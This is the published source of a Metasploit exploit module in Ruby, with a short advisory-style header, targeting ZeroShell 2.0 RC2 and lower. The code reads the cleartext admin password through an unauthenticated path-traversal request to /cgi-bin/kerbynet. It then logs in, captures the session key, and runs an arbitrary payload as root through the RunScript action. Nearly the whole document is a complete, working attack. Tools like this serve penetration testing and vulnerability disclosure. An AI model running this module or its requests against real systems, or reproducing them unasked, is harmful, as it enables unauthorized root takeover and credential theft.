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ZeroShell Remote Code Execution

ZeroShell Remote Code Execution
Posted Sep 25, 2013
Authored by Yann CAM | Site metasploit.com

This Metasploit module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower. It will leverage an unauthenticated local file inclusion vulnerability in the "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw". This file contains the admin password in cleartext. The password is used to login as the admin user. After the authentication process is complete it will use the RunScript action to execute the payload with root privileges.

tags | exploit, local, cgi, root, file inclusion
MD5 | 6aca173027c40771cf3490070e12b3b4

ZeroShell Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "ZeroShell Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
It will leverage an unauthenticated local file inclusion vulnerability in the
"/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
This file contains the admin password in cleartext. The password is used to login
as the admin user. After the authentication process is complete it will use the
RunScript action to execute the payload with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yann CAM', # Discovery, PoC
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ]
],
'Platform' => ['linux'],
'Arch' => ARCH_X86,
'Targets' =>
[
['ZeroShell 2.0 RC2', {}]
],
'Privileged' => true,
'DisclosureDate' => "Sep 22 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
], self.class)
end

def uri
return target_uri.path
end

def peer
return "#{rhost}:#{rport}"
end

def check
# Check version
print_status("#{peer} - Trying to detect ZeroShell")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri)
})

if res and res.code == 200 and res.body =~ /ZeroShell/
print_good("ZeroShell detected")
end

unless password.nil?
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

# Retrieve admin password using unauthenticated LFI
def password
rootpw = "../../../var/register/system/ldap/rootpw"
print_status("#{peer} - Retrieving cleartext admin password")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
'vars_get' => {
'Section' => "NoAuthREQ",
'Action' => "Render",
'Object' => rootpw
}
})

if res and res.code == 200 and res.body !~ /not found/
res.body =~ /^(.*)$/
pass = $1
print_status("#{peer} - Password retrieved [ #{pass} ]")
return pass
else
return nil
end
end


# Login using the retrieved password and grab the session key from the response body.
def login(admin_password)
print_status("#{peer} - Log in and retrieving session key")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
'vars_post' => {
'Action' => "StartSessionSubmit",
'User' => "admin",
'PW' => admin_password
}
})

if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
sessionkey = $1
print_status("#{peer} - Session key retrieved [ #{sessionkey} ]")
return sessionkey
else
fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
end
end

# The RunScript action will run shell commands directly with root privileges.
def execute_command(cmd, opts)
script_name = rand_text_alphanumeric(8)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
'vars_post' => {
'Action' => "RunScript",
'Section' => "Setup",
'STk' => @session,
'ScriptName' => script_name,
'Script' => cmd + '&'
}
})

if res and res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end

end

def exploit
admin_password = password
if admin_password.nil?
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
end

@session = login(admin_password)

execute_cmdstager
end

end
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